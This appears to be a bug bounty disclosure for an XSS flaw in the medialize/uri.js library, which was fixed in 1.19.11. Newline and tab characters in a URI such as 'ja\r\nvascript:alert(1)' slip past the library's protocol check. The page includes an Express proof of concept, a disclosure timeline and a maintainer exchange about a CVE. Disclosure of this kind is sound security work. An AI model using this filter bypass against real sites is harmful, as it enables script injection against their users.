CRHTLF can lead to invalid protocol extraction potentially leading to XSS in medialize/uri.js

Valid

Reported on

Mar 18th 2022


Description

\r, \n, \t characters in the URI can lead to XSS as URI.js will fail to extract javascript: protocol from a URI. See Section 4.4 Step 3 "Remove all ASCII tab or newline from input." of the WHATWG URL spec.

Proof of Concept

const parse = require('urijs')
const express = require('express')
const app = express()
const port = 3000

input = "ja\r\nvascript:alert(1)"
url = parse(input)

console.log(url)

app.get('/', (req, res) => {
  if (url.protocol !== "javascript:") {res.send("<a href=\'" + input + "\'>CLICK ME!</a>")}
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

Run the above and click on the CLICK ME, applications using URI.js to check for javascript: protocol will still be vulnerable to XSS.

Impact

This vulnerability is capable of incorrect protocol extraction potentially leading to XSS.

Occurrences

\r \n \t characters should be removed before parsing

We are processing your report and will contact the medialize/uri.js team within 24 hours. a year ago
We have contacted a member of the medialize/uri.js team and are waiting to hear back a year ago
We have sent a follow up to the medialize/uri.js team. We will try again in 7 days. a year ago
We have sent a second follow up to the medialize/uri.js team. We will try again in 10 days. a year ago
medialize/uri.js maintainer validated this vulnerability a year ago
haxatron has been awarded the disclosure bounty
The fix bounty is now up for grabs
medialize/uri.js maintainer marked this as fixed in 1.19.11 with commit b0c979 a year ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
URI.js#L13L53 has been validated
medialize/uri.js maintainer
a year ago

Maintainer


Thank you for reporting the issue. it has been solved and released as v1.19.11

Jamie Slome
a year ago

Admin


The researcher has requested a CVE here.

Can I go ahead and assign and publish one @maintainer?

medialize/uri.js maintainer
a year ago

Maintainer


Hey Jamie, yes, go ahead :)

Jamie Slome
a year ago

Admin


Sorted 👍

to join this conversation